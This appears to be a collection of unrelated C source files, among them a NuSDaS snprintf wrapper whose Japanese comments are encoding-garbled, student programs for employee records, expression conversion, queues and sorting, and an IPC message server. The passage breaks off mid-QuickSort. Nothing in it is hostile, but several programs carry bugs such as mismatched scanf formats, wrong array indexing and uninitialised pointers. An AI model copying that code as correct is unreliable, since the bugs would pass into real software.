* ץꥱץϹ¤ΤؤΥݥǤϤʤ¤ΤΤΤ
* Ϥȡ
* <DT>y<DD> struct nustype_t (饤֥¤)
* ؤΥݥǤ롣`s' ѴˤѤǤơ
* ɤΤȤ <TT>%ys</TT> Ϥ <TT>%Qs%Ps%Ps</TT> Ǥ뤫Τ褦
* 1, 2, 3 Ϣ뤷ư롣
* ޤ <TT>%#ys</TT> Ϥ <TT>%Qs.%Ps.%Ps</TT> Ǥ뤫Τ褦
* ԥꥪɶڤǰ (ѥɥ)
* ΤȤ٤ϸ̤⤿ʤ
* <DT>m<DD> struct nusdims_t (饤֥¤)
* ؤΥݥǤ롣`s' ѴˤѤǤơ
* ɤΤȤ <TT>%ms</TT> Ϥ
* <TT>%12PT/%4.4s/%12PT/%6.6s/%6.6s</TT> Ǥ뤫Τ褦
* åڤǴ̾оݻ1, 1, ̾롣
* ̾٤ƥڡΤȤ ``<TT>none</TT>'' ִ롣
* ޤ <TT>%#ms</TT> Ϥ
* <TT>%#15PT/%4.4s/%#15PT/%Ps/%Ps</TT> Ǥ뤫Τ褦
* ֤˶ڤʸȤȤ˶ͤ (ѥɥ)
* ΤȤ٤ϸ̤⤿ʤ
* </DL>
*
* <H3>Ѵ</H3>
* <DL>
* <DT>%<DD>ѡȵ `<TT>%</TT>' ΤΤ롣ϻȤʤ
* <DT>d<DD>
* դɽ롣
* `Q', `P', `l', `z' ǧ롣
* ʤа int Ȥߤʤ롣
* <DT>b<DD>
* ̵ɽ롣
* `Q', `P', `l', `z' ǧ롣
* ʤа unsigned Ȥߤʤ롣
* <DT>x<DD>
* ̵ϻɽ (ѻϾʸѤ)
* `Q', `P', `l', `z' ǧ롣
* ʤа unsigned Ȥߤʤ롣
* <DT>X<DD>
* ̵ϻɽ (ѻʸѤ)
* `Q', `P', `l', `z' ǧ롣
* ʤа unsigned Ȥߤʤ롣
* <DT>u<DD>
* ̵ɽ롣
* `Q', `P', `l', `z' ǧ롣
* ʤа unsigned Ȥߤʤ롣
* <DT>o<DD>
* ̵Ȭɽ롣
* `Q', `P', `l', `z' ǧ롣
* ʤа unsigned Ȥߤʤ롣
* <DT>p<DD>
* ݥ˥㥹ȤΤϻɽ롣
* AIX 64 ӥåȥ⡼ɤǤϥƥ printf(3) ˤ
* 32 ӥåȤΤߤɽΤФ
* ܴؿ 64 ӥåȤɽǤ롣
* <DT>T<DD>
* դͽ̻ʬȤߤʤư롣
* `#' ե饰ꤹǯϥե (`<TT>-</TT>') Ƕڤꡢ
* Ȼδ֤ `<TT>t</TT>' ʸ (ѥɥ)
* `Q', `P', `l', `z' ǧ롣
* `Q' ꤹ
* <TT>%PT/%PT</TT> Ǥ뤫Τ褦
* ̡ 32 ӥåȤοͤ 2 ĤλȤư롣
* <DT>a<DD>
* ưϻʻؿɽ (C99 )
* ưˤ餺 IEEE ˤ롣
* <DT>g<DD>
* ưʻؿɽ롣
* ؿ -4 ( - 1) ΤȤϸ꾮ɽȤʤ롣
* ά 6 Ǥ롣
* ˤƤⲾΥϰ줺ʤ
* ʤ
* <DT>c<DD>
* unsigned ͤȤߤʤƤʸɤʸ롣
* ϸ̤⤿ʤ
* <DT>s<DD>
* ʸȤɾư롣
* ꤬ʤϰϥ̥뽪ü char * Ȥߤʤ롣
* ꤬ `Q' ޤ `P' ΤȤ
* ͤɽ魯 8 ХȤޤ 4 ХȤΥХ
* ʸȤƤΤޤ (ХȥѴ) ᤷΤǤ롣
* ΤȤ̥ʸϽüǤϤʤ
* ǤոĤΥڡ
* ʸüǤ뤫Τ褦˰롣
* `y' `m' ˤĤƤȡ
* </DL>
*
* <H3></H3>
* <UL>
* <LI>Ĺ @p bufsize 票顼Ȥʤ롣
* ˤäƥХåեСե뤳ȤǤ롣
* <LI>ɸؿ sprintf(3) νΰϥݡȤƤʤ
* <LI>ʸ (s) Ѵ ASCII ʸʳΥХʥ
* 褦Ȥ
* <TT>\BACKSLASH 0</TT>,
* <TT>\BACKSLASH t</TT>,
* <TT>\BACKSLASH n</TT>,
* <TT>\BACKSLASH r</TT> 뤤
* <TT>\BACKSLASH 377</TT> Τ褦Ȭɽǰ롣
* <TT>%.8s</TT> Τ褦٤ꤹ 8 ХȤ٤
* ʤȤ롣
* <LI>Х: ե饰ϿͤѴ̤椬դбƤʤ
* (NuSDaS ǤϻȤäƤʤ)
* </UL>
* <H3></H3>
* δؿ NuSDaS 1.3 Ƴ줿
*/
int NuSDaS_snprintf(char *buf, /**< ̳Ǽ */
unsigned bufsize, /**< */
const char *fmt, /**< */
... /**< ٤ */)
{
va_list ap;
int len;
va_start(ap, fmt);
len = nus_vsnprintf(buf, bufsize, fmt, ap);
va_end(ap);
return len;
}
|
C
|
#include<stdio.h>
#include<conio.h>
int main()
{
float a;
printf("enter the number:");
scanf("%d",&a);
printf("%.0f",round(a));
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
enum { MAXNAMESIZE = 100 };
typedef struct
{
unsigned long phone;
char name[MAXNAMESIZE];
} Data;
typedef struct Node
{
struct Node *left, *right;
Data data;
} Node;
void insert(Node **nodeptr, Data data)
{
Node *node = *nodeptr;
if (!node)
{
(*nodeptr) = calloc(1, sizeof*node);
(*nodeptr)->data = data;
}
else
if (node->left && node->left->data.phone >= data.phone)
insert(&node->left, data);
else
if (node->right && node->right->data.phone < data.phone)
insert(&node->right, data);
else
if (node->data.phone > data.phone)
{
Node *tmp = node->left;
node->left = calloc(1, sizeof*node);
node->left->data = data;
node->left->left = tmp;
}
else
if (node->data.phone < data.phone)
{
Node *tmp = node->right;
node->right = calloc(1, sizeof*node);
node->right->data = data;
node->right->right = tmp;
}
else
{
#if 0
printf("schon vorhanden %lu\n", data.phone);
#endif
}
}
void print(const Node *node)
{
if (node->left) print(node->left);
printf("%lu\t%s\n", node->data.phone, node->data.name);
if (node->right) print(node->right);
}
int main()
{
Node * root = NULL;
insert(&root, (Data) { 9, "Bowie" });
insert(&root, (Data) { 8, "Prince" });
insert(&root, (Data) { 6, "Michael" });
insert(&root, (Data) { 7, "Cohen" });
insert(&root, (Data) { 5, "Parfitt" });
insert(&root, (Data) { 1, "Frey" });
insert(&root, (Data) { 3, "Emerson" });
insert(&root, (Data) { 2, "Lake" });
insert(&root, (Data) { 4, "Cicero" });
insert(&root, (Data) { 10, "White" });
print(root);
puts("");
insert(&root, (Data) { 9, "aaa" });
insert(&root, (Data) { 8, "b" });
insert(&root, (Data) { 6, "CCC" });
print(root);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "empleado.h"
#include "utn.h"
#define CANTIDAD_EMPLEADOS 5
static int getNextId()
{
static int ultimoId=-1;
ultimoId++;
return ultimoId;
}
static int getLugarLibre(Empleado* array, int len)
{
int retorno = -1;
int i;
if(array != NULL && len > 0)
{
for(i=0;i<len;i++)
{
if(array[i].isEmpty)
{
retorno = i;
break;
}
}
}
return retorno;
}
int empleado_init(Empleado* array, int len)
{
int retorno = -1;
int i;
if(array != NULL && len > 0)
{
for(i=0;i<len;i++)
{
array[i].isEmpty = 1;
}
retorno = 0;
}
return retorno;
}
Empleado* empleado_getById(Empleado* array, int len,int id)
{
Empleado* retorno = NULL;
int i;
if(array != NULL && len > 0)
{
for(i=0;i<len;i++)
{
if(!array[i].isEmpty && array[i].id == id)
{
retorno = &array[i];
break;
}
}
}
return retorno;
}
int empleado_alta(Empleado* array, int len)
{
int retorno = -1;
int indice;
char nombre[51];
char apellido[51];
float salario;
int sector;
indice = getLugarLibre(array,len);
if( array != NULL && len > 0 &&
indice >= 0 && indice < len
&& array[indice].isEmpty)
{
if( !utn_getNombre(nombre,51,"Ingrese su nombre: ","Error, ingrese un nombre valido: ",2) &&
!utn_getNombre(apellido,51,"Ingrese su apellido: ","Error,ingrese un apellido valido: ",2) &&
!utn_getNumeroConComa(&salario,"ingrese el salario del empleado: ","Error reingrese el salario: ",0,99999,2)&&
!utn_getNumero(§or,"Ingrese el sector: ","Error,ingrese un sector valido: ",0,1000,2))
{
strncpy(array[indice].nombre,nombre,51);
strncpy(array[indice].apellido,apellido,51);
array[indice].salario = salario;
array[indice].sector = sector;
array[indice].isEmpty = 0;
array[indice].id = getNextId();
retorno = 0;
}
}
return retorno;
}
int empleado_modificar(Empleado* array, int len)
{
Empleado* empleado;
char auxNombre[51];
char auxApellido[51];
float auxSalario;
int auxSector;
int idIngresado;
int opcion = 0;
int retorno = -1;
if(utn_getNumero(&idIngresado,"Ingrese el ID del empleado a modificar: ","Error ingrese un ID valido: ",0,10000,2) == -1)
{
return retorno;
}
empleado = empleado_getById(array,len,idIngresado);
if(empleado != NULL)
{
if(array != NULL && len > 0 &&
!empleado->isEmpty)
{
utn_getNumero(&opcion,"Ingrese una opcion:\n \n1- MODIFICAR NOMBRE \n2- MODIFICAR APELLIDO \n3- MODIFICAR SALARIO \n4- MODIFICAR SECTOR",
"Error,ingrese una opcion valida: ",1,4,2);
switch(opcion)
{
case 1:
if( !utn_getNombre(auxNombre,51,"Ingrese el nuevo nombre: ","\nError,ingrese un nombre valido.",2))
{
strncpy(empleado->nombre,auxNombre,51);
}
break;
case 2:
if( !utn_getNombre(auxApellido,51,"Ingrese el nuevo apellido: ","\nError,ingrese un apellido valido: ",2))
{
strncpy(empleado->apellido,auxApellido,51);
}
break;
case 3:
if( !utn_getNumeroConComa(&auxSalario,"Ingrese el nuevo salario: ","\nError ingrese un salario valido",0,99999,2))
{
empleado->salario = auxSalario;
}
break;
case 4:
if( !utn_getNumero(&auxSector,"Ingrese el nuevo sector: ","\n Error,precio invalido: ",0,10000,2))
{
empleado->sector = auxSector;
}
break;
}
retorno = 0;
}
}
return retorno;
}
int empleado_baja(Empleado* array, int len)
{
Empleado* empleado;
int retorno = -1;
int idIngresado;
if(utn_getNumero(&idIngresado,"Ingrese el ID del empleado a borrar: ","Error ingrese un ID valido: ",0,10000,2) == -1)
{
return retorno;
}
empleado = empleado_getById(array,len,idIngresado);
if(empleado != NULL)
{
if(array != NULL && len > 0 &&
empleado->isEmpty == 0)
{
empleado->isEmpty = 1;
retorno = 0;
}
else
{
printf("No hay empleado.");
}
}
return retorno;
}
int empleado_mostrar(Empleado* array,int len)
{
int retorno = -1;
int i;
if(array != NULL && len > 0)
{
for(i=0;i<len;i++)
{
if(!array[i].isEmpty)
{
printf("\n El nombre del empleado es: %s",array->nombre);
printf("\n El apellido del empleado es: %s",array->apellido);
printf("\n El salario del empleado es: %.2f",array->salario);
printf("\n El sector del empleado es: %d",array->sector);
printf("\n\n");
}
}
retorno = 0;
}
fflush(stdin);
//__fpurge(stdin);
return retorno;
}
void empleado_ordenarPorApellido(Empleado* array, int len)
{
int i,j;
Empleado empleadoAux;
for(i = 0; i < len - 1; i++)
{
for(j = i + 1; j < len; j++)
{
if(strcmp(array[i].apellido,array[j].apellido)> 0)
{
empleadoAux = array[i];
array[i] = array[j];
array[j] = empleadoAux;
}
else if (!(strcmp(array[i].apellido,array[j].apellido)) && array[i].sector > array[j].sector)
{
empleadoAux = array[i];
array[i] = array[j];
array[j] = empleadoAux;
}
}
}
}
void empleado_ordenarPorSector(Empleado* array, int len)
{
int i,j;
Empleado empleadoAux;
for(i = 0; i < len - 1; i++)
{
for(j = i + 1; j < len; j++)
{
if((array[i].sector > array[j].sector))
{
empleadoAux = array[i];
array[i] = array[j];
array[j] = empleadoAux;
}
}
}
}
int empleado_listar(Empleado* array,int len)
{
int retorno = -1;
int i;
if(array != NULL && len > 0)
{
for(i=0;i<len;i++)
{
if(!array[i].isEmpty)
{
printf("\n El nombre del empleado es: %s",array[i].nombre);
printf("\n El apellido del empleado es: %s",array[i].apellido);
printf("\n El salario del empleado es: %.2f",array[i].salario);
printf("\n El sector del empleado es: %d",array[i].sector);
printf("\n El ID del empleado es: %d",array[i].id);
printf("\n\n");
}
}
retorno = 0;
}
fflush(stdin);
//__fpurge(stdin);
return retorno;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#define SIZE 100
typedef struct
{
char item[SIZE];
int top;
}operatorStack;
/*Function prototype*/
void push (operatorStack *, char);
char pop (operatorStack *);
int isEmpty(operatorStack *);
int prcd(char, char);
void convert(char[], char[]);
/*Function definition*/
void push(operatorStack *sp, char value)
{
if (sp->top == SIZE -1)
{
printf("Stack overflow\n");
return;
}
else
sp->top++;
sp->item[sp->top] = value;
}
char pop(operatorStack *sp)
{
if(isEmpty(sp))
{
printf("Stack underflow\n");
return 9;
}
int value;
value = sp->item[sp->top];
sp->top--;
return value;
}
int isEmpty(operatorStack *sp) /*It will return '1' if the stack is empty and will return '0' if not*/
{
return (sp->top == -1);
}
/*Prcd function to check the precedence of the operator present in the top of the stack and the next token*/
/*It will return 1 if the operator in top of the stack will have more priority then the next token else 0*/
int prcd(char left, char right)
{
if(left == '(' || right == '(')
return 0;
if (right == ')')
return 1;
if (left == '*' || left == '/')
{
if(right == '*' || right == '/' || right == '+' || right == '-')
return 1;
else
return 0;
}
if(left == '+' || left == '-')
{
if (right == '+' || right == '-')
return 1;
else
return 0;
}
if(left == '$' && right == '$')
{
return 0;
}
if(left == '$')
{
return 1;
}
else
return 0;
}
/*This convert function will convert the infix expression into postfix expression*/
void convert(char infix[], char postfix[])
{
operatorStack stack;
stack.top = -1;
int i=0, j=0;
while(infix[i] != '\0')
{
char token = infix[i];
/*If the token is an operand it will be simply appended to the postfix expression*/
if(token >= '0' && token <='9')
{
postfix[j++] = token;
}
/*If the token is an operator it will be checked that either the stack is empty or not*/
else if(token == '+' || token == '-' || token == '*' || token == '/' || token == '$')
{
/*If the stack is empty and prcd function is returning 1 then operator will be appended to the postfix string*/
while(stack.top !=-1 && prcd(stack.item[stack.top], token))
{
char top_opr = pop(&stack);
postfix[j++] = top_opr;
}
/*If we will have both opening and closing parenthesis in the stack top and toke then they will be discarded*/
if(token == ')')
pop(&stack);
/*And if the stack is empty or prcd function is returning 0 then the operator will be pushed into the stack*/
else
push(&stack, token);
}
else
{
printf("Invalid symbol %c encountered\n", token);
exit(1);
}
i++;
}
/*When the stack will contain only one operator then it will be popped out and appended to the postfix string*/
while(stack.top !=-1)
{
char top_opr = pop(&stack);
postfix[j++] = top_opr;
}
postfix[j] = '\0';
}
int main()
{
char infix[SIZE];
char postfix[SIZE];
printf("Enter an infix string : ");
scanf("%s", &infix);
convert(infix, postfix);
printf("\nThe converted postfix string is %s\n", postfix);
return 0;
}
|
C
|
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
typedef struct thread
{
int thread_No;
thread()
{
thread_No = -1;
}
}THREAD;
void* thread_start(void* arg)
{
THREAD* th = (THREAD*)arg;
while(1)
{
printf("this is work thread: %d\n", th->thread_No);
sleep(1);
}
// 最后要在线程入口函数结束的时候,释放堆上开辟的内存,否则会内存泄漏
delete th;
return NULL;
}
int main()
{
pthread_t tid;
int i = 0;
for(; i < 4; i++)
{
THREAD* threadinfo = new thread(); // 堆上申请内存
threadinfo->thread_No = i;
int ret = pthread_create(&tid, NULL, thread_start, (void*)threadinfo);
if(ret < 0)
{
perror("create thread failed.");
return 0;
}
}
while(1)
{
printf("this is main thread.\n");
sleep(1);
}
return 0;
}
|
C
|
#include <stdint.h>
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <string.h>
/*
* Function Prototypes
*/
void setVolume(int volume);
int getVolume(void);
/*
* Global Variables
*/
int masterVolAddr = 47; //0x2F
float lsbVal = pow(2,-24);
/*
* Main function
* Accepts either a get command or percentage value to set the volume
*/
int main (int argc, char** argv){
if (argc != 2) {
printf("Enter one argument, volume percentage between 0-100\n");
exit(0);
}
if (!strcmp(argv[1], "get")){
int i = getVolume();
}
else{
// Convert String to Integer
char *endptr;
int value = strtol(argv[1], &endptr, 10);
if (endptr == argv[2]){
printf("Invalid Number\n");
}
else if (*endptr){
printf("Trailing characters after number\n");
}
setVolume(value);
}
return 0;
}
/*
* Set Volume
* Converts percentage to dB value
* Converts dB value to Linear
* Converts to hexadecimal format for sending to the DSP
* Calls DSP write function
*/
void setVolume(int volume){
printf("Set volume to %d\n", volume);
float dB = ((float)volume*0.8)-80;
printf("dB volume level: %f\n", dB);
float tmp = dB/20;
float lin = pow(10, tmp);
uint32_t binValue = lin/lsbVal;
printf("Hex value of volume to DSP: 0x%.8x\n", binValue);
char s[50];
sprintf(s, "dsptoolkit write-mem 0x%x 0x%.8x", masterVolAddr, binValue);
system(s);
}
/*
* Get Volume
* Sends read command to DSP
* Pipes output into buffer to extract value
* Removes whitespace from returned value
* Convert from Hex to Percentage
*/
int getVolume(){
// Readback function
char s[50];
sprintf(s, "dsptoolkit read-hex 0x%x", masterVolAddr);
FILE *fp;
char data[16];
fp = popen(s, "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(data, sizeof(data), fp) != NULL) {
printf("%s", data);
}
pclose(fp);
// Remove Whitespace
int j;
char c = ' ';
for (int i=j=0; i<strlen(data); i++){
if (data[i] != c){
data[j++] = data[i];
}
}
data[j] = '\0';
// Data conversion
uint32_t vol = strtol(data, NULL, 16);
printf("Hex value = %x\n", vol);
float lin = (float)vol * lsbVal;
float tmp = log10f(lin);
float dB = tmp*20;
printf("dB Value = %f\n", dB);
int volume = ceil((dB+80)/0.8);
printf("Volume = %d\n", volume);
return 0;
}
|
C
|
#include <sys/time.h>
#include <stdio.h>
#include <unistd.h>
int main(){
struct timeval start, end;
double delta;
gettimeofday(&start, 0);
sleep(5);
gettimeofday(&end, 0);
delta =((end.tv_sec - start.tv_sec) * 1000000u + end.tv_usec - start.tv_usec) / 1.e6;
printf("time : %f\n",delta);
}
|
C
|
//*****************************************************************************
// # # Name : LedCtrl.c
// # # Date : Nov. 14, 2020
// # # # # # Author : Qiwei Wu
// # # # # # # Version: 1.0
// # # # # #
// The LED control.
//*****************************************************************************
#include <LedCtrl.h>
// Initialization of LED control
int LedCtrlInit(int index)
{
GPX_CON_t ledGpxCon;
ledGpxCon.data32 = LEDCON;
switch (index)
{
case 0:
ledGpxCon.DATA32_t.GPX4 = GPXCON_OUTPUT;
break;
case 1:
ledGpxCon.DATA32_t.GPX5 = GPXCON_OUTPUT;
break;
case 2:
ledGpxCon.DATA32_t.GPX6 = GPXCON_OUTPUT;
break;
default:
break;
}
LEDCON = ledGpxCon.data32;
return 0;
}
// Control set of LED
int LedCtrlSet(int index, int on)
{
int ledCtrlBit;
GPX_DAT_t ledGpxDat;
ledGpxDat.data32 = LEDDAT;
if(on == 0)
{
ledCtrlBit = LEDCTRL_OFF;
}
else
{
ledCtrlBit = LEDCTRL_ON;
}
switch (index)
{
case 0:
ledGpxDat.DATA32_t.GPX4 = ledCtrlBit;
break;
case 1:
ledGpxDat.DATA32_t.GPX5 = ledCtrlBit;
break;
case 2:
ledGpxDat.DATA32_t.GPX6 = ledCtrlBit;
break;
default:
break;
}
LEDDAT = ledGpxDat.data32;
return 0;
}
|
C
|
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
/* Keys */
#include <stdlib.h>
#include <unistd.h>
#include <limits.h>
/* I/O */
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <time.h>
/* Constants */
#include "ServerConstants.h"
void endWithError(int n);
struct msgbuf msgCliQue(int iterClients);
struct msgbuf msgMirror(struct msgbuf communicat);
struct msgbuf msgCalc(struct msgbuf communicat);
struct msgbuf msgTime();
void msgEnd(int msgid);
int main(int argc, char * argv[]) {
/* Variables */
key_t serverQueueKey;
int msgid;
struct msgbuf communicat;
struct msgbuf respond;
int pidToMsgid[2][MAX_CLIENTS];
int iterClients;
for(iterClients = 0; iterClients < MAX_CLIENTS; iterClients++)
pidToMsgid[0][iterClients] = -1;
/* Set key generator seed */
char * pathName = malloc(PATH_MAX * sizeof(char));
pathName = getcwd(pathName, PATH_MAX);
if((serverQueueKey = ftok(pathName, PROJ_NAME)) == -1) {
endWithError(-1);
}
/* Create server queue */
if((msgid = msgget(serverQueueKey, IPC_CREAT | IPC_EXCL | 0600)) == -1) {
if((msgid = msgget(serverQueueKey, IPC_PRIVATE)) == -1) {
endWithError(-1);
}
}
/* Wait for signal */
while(1) {
if(msgrcv(msgid, &communicat, sizeof(communicat.mtext), GET_LATEST, MSG_NOERROR) == -1) {
endWithError(-1);
}
switch(communicat.mtype) {
case CLI_QUEUE :
for(iterClients = 0; iterClients < MAX_CLIENTS; iterClients++)
if(pidToMsgid[0][iterClients] == -1) {
pidToMsgid[0][iterClients] = communicat.pid;
pidToMsgid[1][iterClients] = atoi(communicat.mtext);
respond = msgCliQue(iterClients);
if(msgsnd(pidToMsgid[1][iterClients], &respond, MSGMAX, MSG_NOERROR) == -1) {
endWithError(-1);
}
break;
}
break;
case MIRROR :
for(iterClients = 0; iterClients < MAX_CLIENTS; iterClients++)
if(pidToMsgid[0][iterClients] == communicat.pid) {
respond = msgMirror(communicat);
if(msgsnd(pidToMsgid[1][iterClients], &respond, MSGMAX, MSG_NOERROR) == -1) {
endWithError(-1);
}
}
break;
case CALC :
for(iterClients = 0; iterClients < MAX_CLIENTS; iterClients++)
if(pidToMsgid[0][iterClients] == communicat.pid) {
respond = msgCalc(communicat);
if(msgsnd(pidToMsgid[1][iterClients], &respond, MSGMAX, MSG_NOERROR) == -1) {
endWithError(-1);
}
}
break;
case TIME :
for(iterClients = 0; iterClients < MAX_CLIENTS; iterClients++)
if(pidToMsgid[0][iterClients] == communicat.pid) {
respond = msgTime();
if(msgsnd(pidToMsgid[1][iterClients], &respond, MSGMAX, MSG_NOERROR) == -1) {
endWithError(-1);
}
}
break;
case END :
for(iterClients = 0; iterClients < MAX_CLIENTS; iterClients++)
if(pidToMsgid[0][iterClients] == communicat.pid) {
msgEnd(msgid);
}
break;
}
}
return 0;
}
void endWithError(int n) {
printf("Error: %s\n", strerror(errno));
exit(n);
}
struct msgbuf msgCliQue(int iterClients) {
struct msgbuf respond;
respond.mtype = CLI_QUEUE;
respond.pid = getpid();
sprintf(respond.mtext, "%d", iterClients);
return respond;
}
struct msgbuf msgMirror(struct msgbuf communicat) {
struct msgbuf respond;
respond.mtype = MIRROR;
respond.pid = getpid();
int length = strlen(communicat.mtext);
int currChar;
for(currChar = 0; currChar < length; currChar++) {
respond.mtext[currChar] = communicat.mtext[length - currChar - 1];
}
respond.mtext[length] = '\0';
return respond;
}
struct msgbuf msgCalc(struct msgbuf communicat) {
struct msgbuf respond;
respond.mtype = CALC;
respond.pid = getpid();
int operand1, operand2, result;
char sign;
sscanf(communicat.mtext, "%d%c%d", &operand1, &sign, &operand2);
switch(sign) {
case '+' :
result = operand1 + operand2;
break;
case '-' :
result = operand1 - operand2;
break;
case '*' :
result = operand1 * operand2;
break;
case '/' :
result = operand1 / operand2;
break;
}
sprintf(respond.mtext, "%d", result);
return respond;
}
struct msgbuf msgTime() {
struct msgbuf respond;
respond.mtype = TIME;
respond.pid = getpid();
time_t timer;
time(&timer);
struct tm * tm_info = localtime(&timer);
strftime(respond.mtext, MSGMAX, "%Y-%m-%d %H:%M:%S", tm_info);
return respond;
}
void msgEnd(int msgid) {
if(msgctl(msgid, IPC_RMID, 0) == -1) {
endWithError(-1);
}
exit(0);
}
|
C
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_4__ TYPE_1__ ;
/* Type definitions */
typedef TYPE_1__* dyn_string_t ;
struct TYPE_4__ {int length; int* s; } ;
/* Variables and functions */
int /*<<< orphan*/ * dyn_string_resize (TYPE_1__*,int) ;
int
dyn_string_append_char (dyn_string_t dest, int c)
{
/* Make room for the extra character. */
if (dyn_string_resize (dest, dest->length + 1) == NULL)
return 0;
/* Append the character; it will overwrite the old NUL. */
dest->s[dest->length] = c;
/* Add a new NUL at the end. */
dest->s[dest->length + 1] = '\0';
/* Update the length. */
++(dest->length);
return 1;
}
|
C
|
#include "queue.h"
#include "List.h"
#include <stdio.h>
#include <stdlib.h>
queue* queue_new()
{
queue* q;
q= (queue*)malloc(sizeof(queue));
q->front = (LList*)malloc(sizeof(LList));
q->rear = (LList*)malloc(sizeof(LList));
return q;
}
void enqueue(queue* q, int n)
{
llist_append(q->front,n);
Node* a=q->front->head;
while(a->next != NULL)
{
a = a->next;
}
q->rear->head = a;
}
int dequeue(queue* q)
{
Node* a=q->front->head;
int x =a->data;
q->front->head = q->front->head->next;
return x;
}
bool queue_is_empty(queue* q)
{
if((q->rear->head == NULL) || (q->front->head == NULL)) return true;
else return false;
}
int queue_size(queue* q)
{
return llist_size(q->front);
}
void queue_print(queue* q)
{
llist_print(q->front);
}
|
C
|
#include <stdio.h>
#include <string.h>
struct user {
char name[20];
char phone[12];
int bell;
};
void main(void) {
struct user u;
scanf("%s", u.name);
strcpy(u.phone, "01012345678");
u.bell = 1;
printf("u.name = %s\n", u.name);
printf("u.phone = %s\n", u.phone);
}
|
C
|
#include <stdio.h>
#include <string.h>
int get_decimal_position(char[]);
int get_numeric_rep(char[]);
void strip_trailing_zeros(char[]);
void multiply(int[], int);
int result[151];
int len_result;
int main(int argc, char *argv[])
{
int i;
int n;
char r[7];
int decimal_pos, decimal_pos_in_res;
int numeric_rep;
while(scanf("%s %d", r, &n) == 2)
{
result[0] = 1;
len_result = 1;
strip_trailing_zeros(r);
decimal_pos = get_decimal_position(r);
numeric_rep = get_numeric_rep(r);
// if(numeric_rep == 0)
// {
// printf("%d\n", numeric_rep);
// continue;
// }
for(i=0; i < n; i++)
{
multiply(result, numeric_rep);
}
decimal_pos_in_res = decimal_pos * n;
// values less than 1
if (decimal_pos_in_res >= len_result)
{
printf(".");
for(i=0; i < (decimal_pos_in_res - len_result); i++)
printf("0");
for(i=(len_result-1); i>=0; i--)
printf("%d", result[i]);
printf("\n");
}
else
{
for(i=(len_result - 1); i >= 0; i--)
{
printf("%d", result[i]);
if(i == decimal_pos_in_res && decimal_pos_in_res != 0)
printf(".");
}
printf("\n");
}
}
return 0;
}
void multiply(int num[], int n)
{
int i;
int carry = 0;
for(i=0; i < len_result; i++)
{
int t = num[i] * n + carry;
num[i] = t % 10;
carry = t / 10;
}
while (carry != 0)
{
num[i++] = carry % 10;
carry = carry / 10;
}
len_result = i;
}
int get_numeric_rep(char num[])
{
int i;
int n = 0;
int l = strlen(num);
for(i=0; i<l; i++)
{
if(num[i] >= '0' && num[i] <= '9')
n = n * 10 + (num[i] - '0');
}
return n;
}
void strip_trailing_zeros(char num[])
{
int l = strlen(num);
int i;
for(i=(l-1); i>0; i--)
{
if(num[i] != '0')
{
num[i+1] = '\0';
break;
}
}
}
// Returns the power of 10 after decimal point....
// That is power of 10 in denominator if decimal removed
int get_decimal_position(char num[])
{
int i;
int pos = -1;
int l = strlen(num);
for(i=0; i<l; i++)
{
if(num[i] == '.')
{
pos = i;
break;
}
}
if(pos != -1)
return (l - pos - 1);
else
return 0;
}
|
C
|
#include <stdio.h>
int main(void) {
int card[4][13] = {0};
int i, j;
int n;
char cd;
int num;
scanf("%d", &n);
// printf("n; %d\n", n);
for (i = 0; i < n; i++) {
scanf("%*c%c%d", &cd, &num);
// printf("i: %d\n", i);
if (cd == 'S') {
card[0][num - 1] = 1;
// printf("S[%d][%d]: %d\n", 0, num-1, card[0][num-1]);
} else if (cd == 'H') {
card[1][num - 1] = 1;
// printf("H[%d][%d]: %d\n", 1, num-1, card[1][num-1]);
} else if (cd == 'C') {
card[2][num - 1] = 1;
// printf("C[%d][%d]: %d\n", 2, num-1, card[2][num-1]);
} else if (cd == 'D') {
card[3][num - 1] = 1;
// printf("D[%d][%d]: %d\n", 3, num-1, card[3][num-1]);
}
// else {
// printf("%d is founded. -> %c\n", cd, cd);
//}
}
for (i = 0; i < 4; i++) {
for (j = 0; j < 13; j++) {
if (card[i][j] != 1) {
switch (i) {
case 0:
printf("S ");
break;
case 1:
printf("H ");
break;
case 2:
printf("C ");
break;
case 3:
printf("D ");
break;
}
printf("%d\n", j + 1);
}
}
}
return 0;
}
|
C
|
#include <stdio.h>
#include<stdlib.h>
#include <time.h>
#define MAX 20 /*ԱԪظ*/
typedef int KeyType;
typedef char InfoType[10];
typedef struct
{
KeyType key;
InfoType data;
}RecType;
void InsertSort(RecType R[], int n,int compare,int move)
{
int i, j, k;
RecType temp;
for (i = 1; i < n; i++)
{
temp = R[i];
j = i - 1;
while (j >= 0 && temp.key < R[j].key&&compare++)
{
R[j + 1] = R[j];
j--;
move++;
}
R[j + 1] = temp;
printf(" i=%d ", i);
for (k = 0; k < n; k++)
printf("%3d", R[k].key);
printf("\n");
}
}
void ShellSort(RecType R[], int n,int compare,int move)
{
int i, j, d, k;
RecType temp;
d = n / 2;
while (d > 0)
{
for (i = d; i < n; i++)
{
j = i - d;
while (j >= 0 && R[j].key > R[j + d].key&&compare++)
{
temp = R[j];
R[j] = R[j + d];
R[j + d] = temp;
j = j - d;
move++;
}
}
printf(" d=%d: ", d);
for (k = 0; k < n; k++)
printf("%3d", R[k].key);
printf("\n");
d = d / 2;
}
}
void BubbleSort(RecType R[], int n,int compare,int move)
{
int i, j, k;
RecType temp;
for (i = 0; i < n-1 ; i++)
{
for (j = n - 1; j > i; j--)
if (R[j].key < R[j - 1].key&&compare++)
{
temp = R[j];
R[j] = R[j - 1];
R[j - 1] = temp;
move++;
}
printf(" i=%d ", i);
for (k = 0; k < n; k++)
printf("%3d", R[k].key);
printf("\n");
}
}
void QuickSort(RecType R[], int s, int t, int n,int compare,int move)
{
int i = s, j = t, k;
RecType temp;
if (s < t)
{
temp = R[s];
while (i != j)
{
while (j > i && R[j].key > temp.key&&compare++)
j--;
if (i < j)
{
R[i] = R[j];
i++;
move++;
